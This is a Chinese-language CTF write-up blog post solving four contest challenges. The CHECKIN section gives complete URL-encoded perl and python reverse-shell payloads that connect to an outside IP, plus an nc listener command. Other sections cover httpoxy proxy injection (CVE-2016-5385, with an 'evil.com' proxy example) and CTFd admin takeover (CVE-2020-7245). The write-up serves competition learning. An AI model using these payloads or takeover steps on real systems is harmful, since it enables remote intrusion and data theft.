V&N公开赛
TimeTravel
考察CVE-2016-5385:可以理解为伪造代理吧。
题目分析
|
审计代码,可以看到使用了Guzzle
:
Guzzle是一个使得利用PHP实现发送HTTP请求,方便和web service集成的PHP客户端模拟组件。一句话,它就像一个PHP写的浏览器。当你的服务端程序需要作为客户端来访问其他的service服务时,这就是你所需要的。
简单的接口构建query string,POST requests,streaming large uploads/downloads,使用HTTP cookies,上传json data等。
根据代码逻辑,我们可以通过flag
传参来拿到flag,但是是通过在服务器上创建一个client()
,然后利用这个client
去访问本地5000端口下的/api/eligible
文件夹下的文件,将返回的json数据解码之后,如果字段里的success
为true
,即可拿到flag。
关键就在于$client->get('http://127.0.0.1:5000/api/eligible')
,题目服务器上肯定是没有这个了,想要实现要么可以通过拿到shell写入,要么就是代理到VPS上。
通过phpinfo
可以看到,接口用的是fastCGI
:
找到的CVE-2016-5385就是通过CGI来伪造代理,大致原理:
cgi(fastcgi)
要将用户传入的所有HTTP头都加上HTTP_
前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY
值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com
这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com
,进而窃取数据包中可能存在的敏感信息。
于是,我们就可以理一下解题思路了:
- 1、在VPS上构造
/api/eligible/index.php
,并且读取到的结果要包含{“success”:true}
,可以参考下面的index.php
的代码 - 2、利用
php -S localhost:5000
在VPS上打开web服务的端口,注意:在包含/api/eligible/index.php
的文件夹下开启web服务 - 3、通过
flag
传参,抓包,在请求头中加入:http://ip:port
,此处的ip
是VPS的ip(由于BUU要求内网环境,这里就填内网机器的ip),port
为VPS上一个开启的端口,可以利用php -S
命令开启两个web服务端口来进行
//index.php |
由于BUU上需要用内网,就在BUU中开了一个内网环境作为VPS:
如此以来,VPS就成为代理了,后面的$client->get('http://127.0.0.1:5000/api/eligible')
也就在VPS上执行了,从而找到指定文件,返回{“success”:true}
,进而通过后面的判断,拿到flag。
CHECKIN
考察利用perl或python反弹shell,通过文件描述符读取被删除的文件内容。
题目分析
题目源码如下:
from flask import Flask, request |
可以看到,flag文件首先被读取了,读取文件的进程在内存中是存在的,因此当我们通过/shell?c=
来传入命令的时候,虽然会先删掉flag文件,但是flag内容仍然在内存里,通过读取/proc/PID/fd/文件描述符
来读取。
解题的关键就是通过参数c
利用system
执行命令来反弹shell,然后去进程信息中找flag。
在这里curl
不能用了,但是还可以利用perl
、python
、ruby
等语言来反弹shell,pyload如下:
/shell?c=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%22174.0.216.133:2017%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27 |
/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.0.216.133%22,2017));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 |
注意是反弹shell到VPS上,但是BUU需要用内网环境,和上题一样,开一个BUU的内网环境,通过nc -l -p 2017
监听端口:
然后利用上面的payload访问即可反弹shell
利用perl
反弹的shell如下:
利用python
反弹的shell:
其实还是python反弹的好用些。
通过cat /proc/PID/fd/文件描述符
一个个地找就能拿到flag了。
HappyCTFd
考察刚爆出的CTFd存在的一个CVE,CVE-2020-7245
解题
上面的CVE链接中讲的已经很清楚了,整体的解题思路就是:
- 1、注册一个
admin
用户,(注意前面的空格) - 2、更改上面用户的密码,即利用注册的邮箱来更改密码
- 3、成功修改管理员的密码并登录
注意BUU的内网环境需要用内网里的邮箱,否则收不到邮件,巨坑…
登录之后,在管理通道发现flag在哪里
一个题目,把它的隐藏属性改为可见的,再到challenge页面即可看到该题目,下载附件即可拿到flag。
拉胯的三条命令
想到了热剧“亲爱的,热爱的”…
解题
下载附件之后,将后缀改为.zip
解压发现一个数据包和一个提示的txt文件,提示将数据包中的端口从小到大排列即为flag。
利用tcpdump
直接读数据包中的端口,然后就能拿到flag,命令如下:
tcpdump -n -r nmapll.pcapng 'tcp[13]=18' | awk '{print $3}' | sort -u |
效果如下:
组合即为flag。
- Post Title: V&N公开赛
- Post Author: ggb0n
- Post Link: http://ggb0n.cool/2020/02/29/V&N公开赛/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
1.DASCTF七月月赛PWN
2.CybricsCTF
3.TCTF2020部分题解
4.DASCTF六月月赛
5.De1CTF2020部分题解
6.安恒月赛DASCTF
7.高校战"疫"部分题解
8.安恒-抗疫月赛
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制